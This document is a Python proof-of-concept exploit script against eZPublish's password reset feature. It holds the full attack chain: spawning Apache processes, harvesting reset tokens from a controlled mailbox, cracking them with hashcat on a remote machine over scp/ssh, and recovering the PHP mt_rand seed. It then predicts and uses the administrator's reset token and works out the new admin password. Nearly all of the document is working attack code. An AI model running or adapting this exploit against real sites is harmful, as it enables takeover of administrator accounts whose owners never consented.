ez_token_predict.py

#! /usr/bin/python
"""
eZPublish token reset and password prediction PoC.

This PoC is a bit dirty, to adapt it to your needs you may have to rewrite the 
following functions :
  - getTokenFromMails(): used to retrieve emails and extract the reset token. 
                         Is currently using GMail.
  - crackHashes(): used to crack the retrieved tokens in order to extract 
                         mt_rand throws. Is currently using a remote cracking machine
                         and cudaHashcat.
@us3r777
"""

from socket import *
import urllib

import re
import argparse
import threading
import time, datetime
import subprocess
import sys
import hashlib

import imaplib
import getpass
import email

NB_TOKENS = 5 # The number of token to generate

def spawnNewApacheProcesses( conNum, host, port = 80):
    """ Creates the necessary connections in order for a new process to be spawn in apache. """
    request = 'GET / HTTP/1.1\r\nHost: '+ host + '\r\nConnection: Keep-Alive\r\n\r\n'
    sockList = []
    for i in range(conNum):
        s = socket(AF_INET, SOCK_STREAM)
        s.connect((host, port))
        s.send(request)
        sockList.append(s)

    return sockList


def closeNewApacheConnections( sockList ):
    """ Closes the opened connections. """    
    for s in sockList:
        s.close()

def startHeartbeat(socket, request):
    """ Makes a request on the socket in order to keep the connection up """
    try:
      # NB_TOKENS requests have already been sent
      for i in range(0,100 - NB_TOKENS):  
          socket.send(request)
          time.sleep(4)
    except:
      print("Connection has been closed. Stopping heartbeat")
    print("Heartbeat stopped")

def extractTokenFromMail(mail):
    """ Extracts token from the mail body """
    token = re.search("forgotpassword/([a-f0-9]{32})", mail).group(1)
    return token

def getTokensFromMails(email_address, password):
    """ 
    Fetches mail from email_address. This function currently fetches mail 
    under ezpublish label from a gmail address.
    Adapt it to your needs.
    """
    tokens = []
    M = imaplib.IMAP4_SSL('imap.gmail.com')
    M.login(email_address, password)
    rv, data = M.select("ezpublish")
    if rv == 'OK':
        rv, data = M.search(None, "ALL")
        if rv != 'OK':
            print "No messages found!"
            return
        for num in data[0].split():
            rv, data = M.fetch(num, '(RFC822)')
            if rv != 'OK':
                print "ERROR getting message", num
                return

            msg = email.message_from_string(data[0][1])
            body = msg.get_payload()

            token = extractTokenFromMail(body)
            tokens.append(token)
            print("Token found : " + token)

            M.store(num, '+FLAGS', '\\Deleted') # Mark the mail as deleted
        M.expunge()
        M.close()
    M.logout()
    return tokens
    
def recvTimestamps(socket, nb_timestamp):
    """ Receives nb_timestamp timestamps from socket """
    timestamps = []
    timestamp_count = 0
    while timestamp_count < nb_timestamp:
      buf = socket.recv(256)
      match = re.search("Date:\ ...,\ ([^G]*)G", buf)
      if match:
        timestring = match.group(1)
        timestamp = time.mktime(datetime.datetime.strptime(timestring, "%d %b %Y %H:%M:%S ").timetuple())
        timestamp = int(timestamp + (3600 * 2)) # Hardcoded GMT+2
        timestamps.append(timestamp) 
        timestamp_count += 1
        print("Timestamp found : " + str(timestamp))
    return timestamps
      

def timeSince(start):
    current_time = time.time() - start
    minutes = "%d" % (current_time / 60)
    seconds = "%0.2f" % (current_time % 60)
    return "[ " + minutes + " min " + seconds + " sec ]"

def crackHashes(tokens, timestamps, user_id, nb_tokens):
    """ 
    This function uses user_id and timestamps (salt) to crack the tokens.
    Currently it uses an external cracking machine to crack the hashes.
    Adapt it to your needs.
    """
    # Write hashes and salt to a file
    with open("hash", "w+") as hashfile:
      for i in range(nb_tokens):
        salt = (user_id + ":" + str(timestamps[i]) + ":").encode("hex")
        hashfile.write(tokens[i] + ":" + salt + "\n")

    # Upload the file on the password cracking machine
    print('[+] Uploading hashes to the password cracking machine')
    subprocess.call("scp hash 192.168.1.1:~/ezpublish", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)

    print('[+] Launching cudahashcat ...')
    mt_rand_values = [ None ] * nb_tokens
    command = "ssh 192.168.1.1 /opt/tools/cudaHashcat-1.36/cudaHashcat64.bin -a 3 -m 20 --hex-salt -i ~/ezpublish/hash '?d?d?d?d?d?d?d?d?d?d'"
    cudahashcat = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    output = cudahashcat.communicate() # Wait for the process to end
    matches = re.findall("([0-9a-f]{32}):[0-9a-f]{26,30}:([0-9]{1,11})", output[0])
    for hash_recovered, mt_rand_value in matches:
      print("Hash " + hash_recovered + " recovered : " + mt_rand_value)
      mt_rand_values[tokens.index(hash_recovered)] = mt_rand_value
    return mt_rand_values

def crackSeed(mt_rand_values):
    """
    Uses php_mt_seed to crack the seed using the recovered mt_rand_values.
    php_mt_seed is available from http://www.openwall.com/php_mt_seed/
    the binary must be in the same directory.
    """
    MIN = "0"
    MAX = "2147483647"
    PHP_MT_SEED = "exec ./php_mt_seed"
    SEP = " "
    SKIP = "0 0 0 0"
    commands =  PHP_MT_SEED + SEP
    
    # Sometimes all mt_rand_values are not recovered due to difference in 
    # timestamp between generation of the token and server response.
    for mt_rand_value in mt_rand_values:
      if mt_rand_value:
        commands += SKIP + SEP + mt_rand_value + SEP + mt_rand_value + SEP + MIN + SEP + MAX + SEP
      # Skip when there is no value
      else:
        commands += SKIP + SEP + SKIP + SEP

    print(commands)
    php_mt_seed = subprocess.Popen(commands, shell=True, stdout=subprocess.PIPE)
    seed = None

    while True:
        out = php_mt_seed.stdout.readline()
        if out == '' and php_mt_seed.poll() != None:
            break
        if out != '':
          match = re.search("seed\ =\ ([0-9]{1,11})",out)
          if match:
            seed = match.group(1)
            php_mt_seed.kill()
            break
    return seed

def recvAll(the_socket,timeout=2):
    the_socket.setblocking(0) # make socket non blocking
    total_data=[];
    data='';
    
    begin=time.time()
    while 1:
        if total_data and time.time()-begin > timeout:
            break
        elif time.time()- begin > timeout*2:
            break
        
        # recv something
        try:
            data = the_socket.recv(1024)
            if data:
                total_data.append(data)
                begin=time.time()
            else:
                time.sleep(0.1)
        except:
            pass
    
    the_socket.setblocking(1)
    #join all parts to make final string
    return ''.join(total_data)

def phpPredict(skip, seed):
    """ 
    Calls a php script to predict the number generated by PHP after SKIP 
    throws using SEED to initialize the Mersene Twister generator 
    """
    predict = subprocess.Popen("php predict.php " + str(skip) + " "  + seed, 
                                   shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    output = predict.communicate()[0]
    return re.match("([0-9]{1,11})", output).group(1)

def predictPassword(password_length, time, mt_rand_value):
    """
    python version of the ezPublish createPassword function from
    kernel/classes/datatypes/ezuser/ezuser.php
    """
    chars = 0;
    password = ''
    decimal = 0;
    seed = str(time) + ":" + mt_rand_value
    while chars < password_length:
        text = hashlib.md5(seed).hexdigest()
        characterTable = "abcdefghijkmnpqrstuvwxyzABCDEFGHJKLMNPQRSTUVWXYZ123456789"
        tableCount = len(characterTable)
        i = 0
        while chars < password_length  and i < 32:
            decimal += int(text[i:i+2], 16)
            index = decimal % tableCount
            character = characterTable[index]
            password += character
            i += 2
            chars += 1
    return password

def parseArguments():
    parser = argparse.ArgumentParser(
        description='EZPublish reset token and password prediction tool')
    
    parser.add_argument('--host', action='store', dest='host',
                        help='target hostname', required=True)
    parser.add_argument('--proc', action='store', dest='proc', default=15, 
                        type=int, help='The number of process to spawn')
    parser.add_argument('--port', action='store', dest='port', type=int, 
                        default=80, help='Port in which Apache is listening')
    parser.add_argument('--app-base', action='store', dest='app_base', 
                        default="/", help='The application base path')
    parser.add_argument('--user-id', action='store', dest='user_id', 
                        help='The id of the ezpublish user you control', 
                        required=True)
    parser.add_argument('--user-email', action='store', dest='user_email', 
                        help='The email of the ezpublish user you control', 
                        required=True)
    parser.add_argument('--target-user-email', action='store', dest='target_email', 
                        help='The email of the target ezpublish user', 
                        required=True)
    parser.add_argument('--target-user-id', action='store', dest='target_user_id', 
                        help='The id of the target ezpublish user', 
                        default="14")
    args = parser.parse_args()
    return args

def sendResetRequest(socket, host, app_base, email):
    data = 'UserEmail=' + urllib.quote(email) + '&GenerateButton=G%C3%A9n%C3%A9rer+un+nouveau+mot+de+passe'
    request = 'POST ' + app_base + 'index.php/fre/user/forgotpassword HTTP/1.1\r\n' + \
              'Host: ' + host + '\r\n' + \
              'User-Agent: Mozilla/5.0\r\n' + \
              'Connection: keep-alive\r\n' + \
              'Content-Type: application/x-www-form-urlencoded\r\n' + \
              'Content-Length: ' + str(len(data)) + '\r\n\r\n' + \
              data
    socket.send(request)

def main():
    args = parseArguments()    
    heartbeat_request = 'GET / HTTP/1.1\r\nHost: %s\r\nConnection: Keep-Alive\r\n\r\n' % args.host
    start_time = time.time()

    print('[+] Forcing creation of new apache process. ' + timeSince(start_time))
    conList = spawnNewApacheProcesses( args.proc, args.host )    
    
    print('[+] Requesting ' + str(NB_TOKENS) + ' password reset ... ' + timeSince(start_time))
    s = socket(AF_INET, SOCK_STREAM)
    s.connect((args.host, args.port))

    for i in range(NB_TOKENS):
        time.sleep(2) # Wait to ensure throws have different timestamp
        sendResetRequest(s, args.host, args.app_base, args.user_email)
    timestamps = recvTimestamps(s, NB_TOKENS)

    print('[+] Starting Heartbeat ... ' + timeSince(start_time))
    thread = threading.Thread(None, startHeartbeat, None, (s, heartbeat_request), None)
    thread.start()

    print('[+] Getting the mails ... ' + timeSince(start_time))
    time.sleep(10) # Wait 10 seconds to ensure mails are transmited
    tokens = getTokensFromMails(args.user_email, getpass.getpass())
         
    print('[+] Cracking hashes')
    mt_rand_values = crackHashes(tokens, timestamps, args.user_id, NB_TOKENS)
 
    print('[+] Cracking the seed ... ' + timeSince(start_time))
    seed = crackSeed(mt_rand_values)

    if seed:
        print("\n-----------------------------------------")
        print("Seed found : " + seed + " " + timeSince(start_time))
        print("-----------------------------------------")

        # Flush the content of the pipe before reseting admin password
        # To get the right timestamp
        while(len(s.recv(256)) == 256):
          pass 

        print("[+] Predicting token for user admin : ")
        mt_rand_value = phpPredict((NB_TOKENS * 2 + 1), seed)

        print("[+] Reseting admin password ... ")
        sendResetRequest(s, args.host, args.app_base, args.target_email)
        timestamp = recvTimestamps(s, 1)[0]
        
        token = hashlib.md5(args.target_user_id + ":"+ str(timestamp) + ":" + mt_rand_value).hexdigest()
        token_reset_url = args.app_base + "index.php/user/forgotpassword/" + token 
        print("[+] Admin token url : http://" + args.host + token_reset_url)

        print("[+] GET " + token_reset_url + " ...")
        while(len(s.recv(256)) == 256):
          pass 
        token_reset_request = 'GET ' + token_reset_url + ' HTTP/1.1\r\nHost: %s\r\nConnection: Keep-Alive\r\n\r\n' % args.host
        s.send(token_reset_request)
        timestamp = recvTimestamps(s, 1)[0]
        page = recvAll(s)
        match = re.search("Un nouveau mot de passe", page) 
        if match:
          print("[+] Password successfully reset !")
          print("[+] Predicting password for user admin " + timeSince(start_time))
          mt_rand_value = phpPredict((NB_TOKENS * 2 + 2), seed)
          password = predictPassword(6, timestamp, mt_rand_value)
          print("-----------------------------------------")
          print("[+] Password of admin reset to : " + password + " " + timeSince(start_time))
          print("-----------------------------------------")
        else:
          print("[!] Unable to reset password using token " + token + ". Probably due to a timestamp mismatch.")

    s.close()
    closeNewApacheConnections( conList )
    
if __name__ == '__main__':
    main()